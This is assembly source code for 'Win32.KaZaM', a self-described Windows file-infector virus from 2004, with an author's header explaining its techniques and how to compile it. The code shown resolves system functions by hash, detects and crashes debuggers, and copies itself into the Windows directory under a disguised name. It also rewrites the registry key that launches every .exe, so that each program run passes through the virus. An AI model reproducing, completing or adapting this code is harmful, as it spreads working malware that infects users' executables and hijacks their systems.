MalwareSourceCode/Win32/Infector/Win32.KaZaM.asm

1695 lines
55 KiB
NASM
Raw Permalink Normal View History

2020-10-11 03:07:43 +00:00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; [ Win32.KaZaM Sinclaire/DCA ]
; [ 18.10.2004 - Made in Egypt, Cairo ]
;
; [ Introduction ]
;
; Welcome to 'KaZaM'. This is a new kind of viruses for me as this is the
; first time to try the EPO (Entry Point Obscuring) technique which was
; originally created by 'GriYo/29A', anyway a virus without EPO is a very
; easy detectable virus, however this is not the issue here, the EPO
; technique am using in this virus is replacing the DOS STUB of the file
; i want to infect with another STUB which is crafted to load the virus
; within the original host, how?, *g* let me explain, it obscures the
; entry point by clearing it in the header, so the victims get executed
; from the very beginning of the file (Including The 'MZ' Signature)and
; then 'jmp' to a loader located in the DOS stub code, which is redone to
; keep compatibility (So Victims Running Under 'MS-DOS' Will Receive No
; Error). This loader passes control to the virus using a 'SEH' frame to
; 'jmp', thus, the virus is in it's way to be undetectable, the virus
; also loads the API's the virus going to use dynamically by the 'CRC32'
; method, the virus also shows a new method of infection which was
; presented by our friend 'malfunc' (A Very Good VXER, 'Hi'), how?, *g*
; let me explain, The virus changes the 'HKCR\exefile\shell\open\command'
; key to trap any program which gets executed, and then infects them,
; which is the 'Registery Shell Spawning' method, also the virus infectes
; files by overwriting the '.reloc' section, the virus also avoids
; infection troubles under 'Win2K' and 'WinME' that occurs due to the
; protection of the file by the system <20>SFP<46> (SystemFileProtection), the
; virus uses 'SEH' (Structured Exceptional Handling) almost everywhere to
; avoid sudden crashing, also the virus can crash application level
; debuggers using 'SEH', the virus also avoids to infect bait files or
; files that are too tiny or too big. The virus was tested under Win95,
; Win98SE, Win2000, WinNT, WinXP, so it works well under the conditions
; the virus was tested on, but it may not work for some reasons, who
; knows o_0.
;
; [ Features ]
; + Infection: Overwriting .reloc section
; + System Hooking: Changes 'exefile' registry key to trap EXE
; files execution
; + EPO: Virus code is run from a crafted loader within DOS
; stub, using SEH frame
; + Anti-Bait: Does not infect tiny files (with relocations < virus)
; + Anti-Debugging: Detects application-level debuggers, tries to
; kill them with SEH frame
; + Checks for SFC protection
; + CRC32 usage to load api's dynamically
;
; [ Greetings ]
;
; Cyclone00, madman, VxF, SirToro, SlageHammer, Vecna, DR-EF, blueowl
; Muazzin, opc0de, Falckon, DiA, SPTH, Philie, VirusBuster, Capoeira
; lifewire, int3, Belial, DoxtorL, i0n, Necronomikon, SnakeMan, Ratter
; Rajaat, GriYo, ZOMBiE, Vallez, Benny, Knowdeth, Metal, malfunc
; and other that i forgot about (Sorry wasn't intentional)
;
; [ Special Thanks ]
; Cyclone00: For telling me it's time to stop using offsets addressi-
; ng and start use the structures we have (hi cyc)
; SlageHammer: For testing this virus
; SirToro: For helping me before and showing me some cool stuff ;)
;
;
; [ Word To AV'ers ]
; I was really disappointed that my virus got named after some worm
; named Zaka how come Win32.KaZaM get a name as Win32.Zaka as some
; AV names it as it, however they are not similiar in any ways, and
; just FYI my other virus got a description even thought this one ki-
; cks the first one's in almost everything, but i think if this got
; spread out maybe you would put a nice description and name, sorry
; that i don't like to spread much but you didn't gave me much choic-
; e, so word of advice WORK WELL NEXT TIME.
;
; [ AV Story ]
; Well funny story that AV'ers named this virus Zaka.A and not KaZaM
; but then i realized that KaZaM is kinda near to the word Zaka so i
; just forgot, we all know how STUPID AV'ers can be ;) but here is a
; link to see the differnec between Win32.Zaka.A and Worm.Win32.Zaka
; http://www.viruslist.com/en/find?words=Win32.Zaka
; The first two enteris belong to the virus the others belong to some
; other worm called the same name *Sad But True* :P.
;
; [ Compilation + Linking ]
; tasm32 /ml /m2 /m3 /w2 /la KaZaM.asm , ,
; tlink32 /Tpe /aa /c KaZaM,KaZaM,,import32.lib
; pewrsec.exe KaZaM.exe
;
; [ Disclaimer ]
; Do your thing, and make me proud =), nah, just am not responsible
; for anything that happens from this source code. ;)
;
;
; (C) 2004 Sinclaire/DCA [ http://dca-vx.tk ]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Win32.KaZaM (C) 2004 Sinclaire/DCA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386 ; Instruction set to be used
.model flat ; No segmentation!
include MZ.inc ; DOS (MZ) & Win32 (PE) exe layout
include PE.inc
extrn ExitProcess :PROC ; Some APIs used by fake host code
extrn MessageBoxA :PROC ;
extrn _wsprintfA :PROC ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Useful equates and macros
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DEBUG equ FALSE ; Debug
CRLF equ <13,10> ; New line
SPAWN_NAME equ <'wafxupdt.exe'> ; Fake virus name for spawning
VIRUS_NAME equ <'Win32.KaZaM'> ; Real virus name
VIRUS_VERSION equ <'v1.00'> ; Virus version
VIRUS_SIZE equ VirusEnd - VirusStart ; Virus size
OPCODE_JMP_SHORT equ 0EBh ; OPCode for the jump to virus body
KERNEL32_WIN9X equ 0BFF70000h ; Hardcoded values, in case we don't
KERNEL32_WINNT equ 077F00000h ; find Kernel32 by other ways. Those
KERNEL32_WIN2K equ 077E00000h ; values are then checked using SEH
KERNEL32_WINME equ 0B60000h ; before using them, to avoid PF's
apicall MACRO apiname ; The following macro is just used
call [ebp + apiname] ; to call apis, optimizations :)
ENDM
SETUP_SEH_HANDLER MACRO label ; The folowing macro is just used
local @@Skip_Handler ; to call SEH handler, just for
call @@Skip_Handler ; optimizations so i wouldn't write
mov esp, [esp + 08h] ; it every time i needed to ;)
jmp label ; ...
@@Skip_Handler: ; ...
xor edx, edx ; ...
push dword ptr fs:[edx] ; ...
mov dword ptr fs:[edx], esp ; ...
ENDM ; ...
RESTORE_SEH_HANDLER MACRO ;
xor edx, edx ;
pop dword ptr fs:[edx] ;
pop edx ;
ENDM
GENERATE_EXCEPTION MACRO ; The following macro is just used
xor edx, edx ; to generate an exception so that
div edx ; we can crash application level
ENDM ; debuggers by dividing by '0'
STRLEN MACRO ;
push eax ;
push esi ;
push edi ;
mov edi, esi ;
xor ecx, ecx ;
dec ecx ;
xor eax, eax ;
repne scasb ;
mov ecx, edi ;
sub ecx, esi ;
pop edi ;
pop esi ;
pop eax ;
ENDM ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Some global constants
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NULL EQU 0
FALSE EQU 0
TRUE EQU 1
MAX_PATH EQU 260
STANDARD_RIGHTS_REQUIRED EQU 000F0000h
GMEM_FIXED EQU 0000h
GMEM_ZEROINIT EQU 40h
GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
OPEN_EXISTING EQU 3
SECTION_QUERY EQU 00000001h
SECTION_MAP_WRITE EQU 00000002h
SECTION_MAP_READ EQU 00000004h
SECTION_MAP_EXECUTE EQU 00000008h
SECTION_EXTEND_SIZE EQU 00000010h
SECTION_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \
SECTION_QUERY OR \
SECTION_MAP_WRITE OR \
SECTION_MAP_READ OR \
SECTION_MAP_EXECUTE OR \
SECTION_EXTEND_SIZE
STANDARD_RIGHTS_ALL EQU 1F0000h
KEY_QUERY_VALUE EQU 1h
KEY_SET_VALUE EQU 2h
KEY_CREATE_SUB_KEY EQU 4h
KEY_ENUMERATE_SUB_KEYS EQU 8h
KEY_NOTIFY EQU 10h
KEY_CREATE_LINK EQU 20h
SYNCHRONIZE EQU 100000h
KEY_ALL_ACCESS EQU STANDARD_RIGHTS_ALL OR \
KEY_QUERY_VALUE OR \
KEY_SET_VALUE OR \
KEY_CREATE_SUB_KEY OR \
KEY_ENUMERATE_SUB_KEYS OR \
KEY_NOTIFY OR \
KEY_CREATE_LINK AND NOT \
SYNCHRONIZE
HKEY_CLASSES_ROOT EQU 80000000h
FILE_MAP_ALL_ACCESS EQU SECTION_ALL_ACCESS
PAGE_READWRITE EQU 00000004h
FILE_SHARE_READ EQU 00000001h
REG_SZ EQU 1h
STARTUPINFO struc
cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ends
SYSTEMTIME struc
wYear DWORD ?
wMonth DWORD ?
wDayOfWeek DWORD ?
wDay DWORD ?
wHour DWORD ?
wMinute DWORD ?
wSecond DWORD ?
wMilliseconds DWORD ?
SYSTEMTIME ends
PROCESS_INFORMATION struc
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ends
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Host Data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; This data is used only by first-generation fake host code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.data
szTitle db VIRUS_NAME, 0
szTemplate db 'Virus ',VIRUS_NAME,' ',VIRUS_VERSION,' ','has been activated.', CRLF, CRLF
db 'Am a singing kangaroo, and am from far away, i like to hop hop hop all day', CRLF, CRLF
db 'Current virus size is %i bytes (0x%X bytes).'
db 'Have a nice day. :)', 0
szBait db 'bait1.exe', 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Virus Code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.code
VirusStart:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Setup everything
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
call GetDeltaOffset ; See where are we ?
GetDeltaOffset: ;
pop ebp ;
sub ebp, offset GetDeltaOffset ; EBP = Place where we are in (virus)
test ebp, ebp ; Check if it's the first generation
jz FirstGenEntry ; We are ?
mov esp, [esp + 08h] ;
RESTORE_SEH_HANDLER ;
mov eax, [ebp + File_EntryPoint] ; Original EP (saved during infection)
mov [ebp + HostEntry], eax ; Save it in a safe place
FirstGenEntry:
cld ; We don't like surprises...
mov esi, [esp] ; To find Kernel32 we will use the
call FindKernel32 ; ret address in the stack, wich
jc ReturnToHost ; (hopefully) will point into it
call LocateAPIs ; Get API Addresses
jc ReturnToHost ; Return to host
test ebp, ebp ;
jz FakeHost ; Jump to the fake host
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Starting Stuff
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
call RNG_Init ; Init the Random Number Generator
call DetectDebuggers ; Detect and kill application level debuggers
jc ReturnToHost ; Return back to host
call ParseCommandLine ; Get commandline args
jnc ExecutedFromReg
call SetupRegHook ; Setup the shell spawning method
jmp ReturnToHost ; Return back to host
ExecutedFromReg:
mov esi, [ebp + CmdExefile] ;
IF DEBUG ;
push 1040h ;
lea edx, [ebp + szVirusName] ;
push edx ;
push esi ;
push NULL ;
apicall MessageBox ;
ELSE ;
call InfectFile ;
ENDIF ;
jne ExecuteVictim ;
push 1040h ;
lea edx, [ebp + szVirusName] ;
push edx ;
lea edx, [ebp + szVirusCredits] ;
push edx ;
push NULL ;
apicall MessageBox ;
IF DEBUG ;
ELSE ;
jmp ExitToWindows ;
ENDIF ;
ExecuteVictim:
mov esi, [ebp + CmdSpawn] ;
mov ebx, [ebp + ProcessInfo] ; Must execute our command line
mov edx, [ebp + StartupInfo] ; as a new process
xor eax, eax
push ebx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
apicall CreateProcess
ExitToWindows:
push 0
apicall ExitProcess_
ReturnToHost:
test ebp, ebp
jz FakeHost_Quit
push [ebp + HostEntry]
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;
; Virus Subroutines ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 1) DetectDebuggers ;
; 2) FindKernel32 ;
; 3) LocateAPIs ;
; 4) ParseCommandLine ;
; 5) SetupRegHook ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; DetectDebuggers ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Discription : ;
; Detects application level debuggers and tries to kill them with SEH ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; CF : Set if debugger persists, clear if not ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DetectDebuggers:
pushad
SETUP_SEH_HANDLER FD_Continue ; Use SEH to kill debuggers
xor eax, eax ; Generate an exception (divide by 0)
div eax ;
RESTORE_SEH_HANDLER ; Here some abnormal occured
jmp FD_Debugger_Found ; So lets quit
FD_Continue: ; Execution should resume at this pnt
RESTORE_SEH_HANDLER ; Remove handler
mov eax, fs:[20h] ; Detect application-level debugger
test eax, eax ; Is present?
jnz FD_Debugger_Found ; Quit!
popad ; No debuggers found, so restore registeres
clc ; Clear carry flag
ret ; Return
FD_Debugger_Found:
popad
stc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; FindKernel32 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Tries to find Kernel32 base address by scanning back from a certain ;
; address and, if that fails, by using some hardcoded values ;
; ;
; Input: ;
; ESI : must point somewhere into kernel32 ;
; ;
; Output: ;
; _var!Kernel32 : Will point to Kernel32 base address ;
; CF (Cary Flag) : Set on error ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FindKernel32:
pushad
and esi, 0FFFF0000h
mov ecx, 100h
FK32_Loop:
call TryAddress
jnc FK32_Success
sub esi, 010000h
loop FK32_Loop
FK32_Hardcodes:
mov esi, KERNEL32_WIN9X
call TryAddress
jnc FK32_Success
mov esi, KERNEL32_WINNT
call TryAddress
jnc FK32_Success
mov esi, KERNEL32_WIN2K
call TryAddress
jnc FK32_Success
mov esi, KERNEL32_WINME
call TryAddress
jnc FK32_Success
FK32_Fail:
popad
stc
ret
FK32_Success:
mov [ebp + Kernel32], esi
popad
clc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; LocateAPIs ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Gets all API addresses that our virus needs ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; CF (Carry Flag) : set on error, clear on success ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LocateAPIs:
pushad
mov ebx, [ebp + Kernel32] ; Having found Kernel32, we will get
lea esi, [ebp + Kernel_API_CRC32] ; an array of API addresses by their
lea edi, [ebp + Kernel_API_Addr] ; names CRC32, scanning the Kernel32
call GetAPIArray ; export table
jc LA_Fail ;
lea edx, [ebp + szUser32] ; More API's! This time we call
push edx ; LoadLibrary to get User32
apicall LoadLibrary ; Call API
mov ebx, eax ; EBX = Module handle
lea esi, [ebp + User_API_CRC32] ; ESI = Pointer to CRC32 table
lea edi, [ebp + User_API_Addr] ; EDI = Where to store addresses
call GetAPIArray ; Call our procedure
jc LA_Fail ; Any problem? If so, bail out
lea edx, [ebp + szAdvapi32] ; More API's!
push edx ;
apicall LoadLibrary ;
mov ebx, eax ;
lea esi, [ebp + Advapi_API_CRC32] ;
lea edi, [ebp + Advapi_API_Addr] ;
call GetAPIArray ;
jc LA_Fail ; Any problem? If so, bail out
LA_Success:
popad
clc
ret
LA_Fail:
popad
stc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ParseCommandLine ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Parses our commandline and checks for special params ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; _var!CmdLine ;
; _var!CmdSpawn ;
; _var!CmdExefile ;
; CF (Carry Flag) : Set if no special param found, clear otherwise ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ParseCommandLine:
pushad
xor eax, eax
mov [ebp + CmdSpawn], eax
mov [ebp + CmdExefile], eax
apicall GetCommandLine ; Get our command line
mov [ebp + CmdLine], eax ; Save it
mov esi, eax ;
call GetNextParam ;
jc PCL_Quit ;
lodsb
dec al
jnz PCL_Quit
mov [ebp + CmdSpawn], esi
STRLEN
push ecx
push GMEM_FIXED
apicall GlobalAlloc
mov [ebp + CmdExefile], eax
mov edi, eax
STRLEN
rep movsb
mov esi, [ebp + CmdExefile]
call GetNextParam
jc PCL_Quit
dec esi
mov byte ptr [esi], 0
popad
clc
ret
PCL_Quit:
popad
stc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; SetupRegHook ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Copies our host to Windows directory and changes the 'exefile' ;
; key in reg ;
; ;
; Input: ;
; None ;
; ;
; Output: ;
; None ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SetupRegHook:
pushad
sub esp, MAX_PATH
mov esi, esp
sub esp, MAX_PATH
mov edi, esp
push MAX_PATH
push edi
apicall GetWindowsDirectory
lea edx, [ebp + szSpawnFile]
push edx
push edi
apicall lstrcat
push MAX_PATH
push esi
push NULL
apicall GetModuleFileName
push FALSE
push edi
push esi
apicall CopyFile
lea esi, [ebp + szRegValue]
lea edi, [ebp + szRegKey]
mov edx, HKEY_CLASSES_ROOT
call ChangeRegString
add esp, MAX_PATH + MAX_PATH
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;
; Virus Functions ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 1) ChangeRegString ;
; 2) GetAPIAddress ;
; 3) GetAPIArray ;
; 4) GetCRC32 ;
; 5) GetNextParam ;
; 6) TryAddress ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ChangeRegString ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Shortcut to change a registry string ;
; ;
; Input: ;
; EDI : pointer to key to be changed ;
; ESI : pointer to key value ;
; EDX : hotkey ;
; ;
; Output: ;
; None ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ChangeRegString:
pushad
sub esp, 4
mov ebx, esp
push ebx
push KEY_ALL_ACCESS
push 0
push edi
push edx
apicall RegOpenKeyEx
STRLEN
dec ecx
push ecx
push esi
push REG_SZ
push NULL
push dword ptr [ebx]
apicall RegSetValue
push dword ptr [ebx]
apicall RegCloseKey
add esp, 4
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GetAPIAddress ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Tries to get an API address by its CRC32 from the given ;
; module export table ;
; ;
; Input: ;
; ESI : module handle ;
; EDX : API's CRC32 ;
; ;
; Output: ;
; EAX : API's address ;
; CF (Carry Flag) : set on error, clear on success ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetAPIAddress:
pushad
mov edi, esi
add esi, [edi.MZ_lfanew]
add esi, 078h
lodsd
add eax, edi
mov esi, eax
mov eax, [esi.ED_NumberOfNames]
mov [ebp + ET_MaxNames], eax
mov eax, [esi.ED_AddressOfNames]
add eax, edi
mov [ebp + ET_PtrNames], eax
mov eax, [esi.ED_AddressOfFunctions]
add eax, edi
mov [ebp + ET_PtrAddresses], eax
mov eax, [esi.ED_AddressOfNameOrdinals]
add eax, edi
mov [ebp + ET_PtrOrdinals], eax
mov esi, [ebp + ET_PtrNames]
mov ecx, [ebp + ET_MaxNames]
xor eax, eax
mov [ebp + Count], eax
GA_GetNamePtr:
jecxz GA_Fail
lodsd
push esi
add eax, edi
mov esi, eax
xor ebx, ebx
push ecx
STRLEN
call GetCRC32
pop ecx
cmp eax, edx
jne GA_Next
mov ecx, [ebp + Count]
mov esi, [ebp + ET_PtrOrdinals]
shl ecx, 1
add esi, ecx
xor eax, eax
lodsw
mov esi, [ebp + ET_PtrAddresses]
shl eax, 2
add esi, eax
lodsd
add eax, edi
mov [ebp + ET_TmpAddress], eax
jmp GA_Success
GA_Next:
pop esi
dec ecx
inc [ebp + Count]
jmp GA_GetNamePtr
GA_Success:
pop esi
popad
mov eax, [ebp + ET_TmpAddress]
clc
ret
GA_Fail:
popad
stc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GetAPIArray ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Gets an array of API addresses from the given module ;
; ;
; Input: ;
; ESI : points to an array of CRC32 values, ending with a NULL dword ;
; EDI : points to destination of the address array ;
; EBX : module handle ;
; ;
; Output: ;
; CF (Carry Flag) : set on error, clear on success ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetAPIArray:
pushad
GAA_Loop:
lodsd
test eax, eax
jz GAA_Success
mov edx, eax
push esi
mov esi, ebx
call GetAPIAddress
jc GAA_Fail
stosd
pop esi
jmp GAA_Loop
GAA_Success:
popad
clc
ret
GAA_Fail:
popad
stc
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GetCRC32 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Computes CRC32 checksum of the given data ;
; ;
; Input: ;
; ESI : pointer to data ;
; ECX : size of data in bytes ;
; ;
; Output: ;
; EAX : CRC32 checksum ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetCRC32:
pushad
mov edi, ecx
xor ecx, ecx
dec ecx
mov edx, ecx
CRC32_NextByte:
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
CRC32_NextBit:
shr bx, 1
rcr ax, 1
jnc CRC32_NoCRC
xor ax, 08320h
xor bx, 0EDB8h
CRC32_NoCRC:
dec dh
jnz CRC32_NextBit
xor ecx, eax
xor edx, ebx
dec edi
jnz CRC32_NextByte
not edx
not ecx
mov eax, edx
rol eax,16
mov ax, cx
mov [ebp + CRC32], eax
popad
mov eax, [ebp + CRC32]
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; GetNextParam ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Description: ;
; Moves esi pointer to next parameter in a commandline-type string ;
; Uses SEH to avoid possible protection faults ;
; ;
; Input: ;
; ESI : pointer to a commandline-type string ;
; ;
; Output: ;
; ESI : points to next parameter ;
; CF (Carry Flag) : set if string terminated, clear on success ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetNextParam:
push eax
push ecx
SETUP_SEH_HANDLER GNP_Fail
mov cl, 20h ; Character to match (space)
GNP_SkipSpaces:
lodsb ;
test al, al ;
jz GNP_Fail ; If al is zero, string was terminated
cmp al, cl ;
je GNP_SkipSpaces ; There are remaining spaces, loop on
cmp al, 22h ; First char is a quote?
jne GNP_Find ; No: we must find a space
mov cl, 22h ; Yes: we must find the closing quote
GNP_Find:
lodsb
test al, al
jz GNP_Fail
cmp al, cl
jne GNP_Find
RESTORE_SEH_HANDLER
pop ecx
pop eax
clc
ret
GNP_Fail:
RESTORE_SEH_HANDLER
pop ecx
pop eax
stc
ret
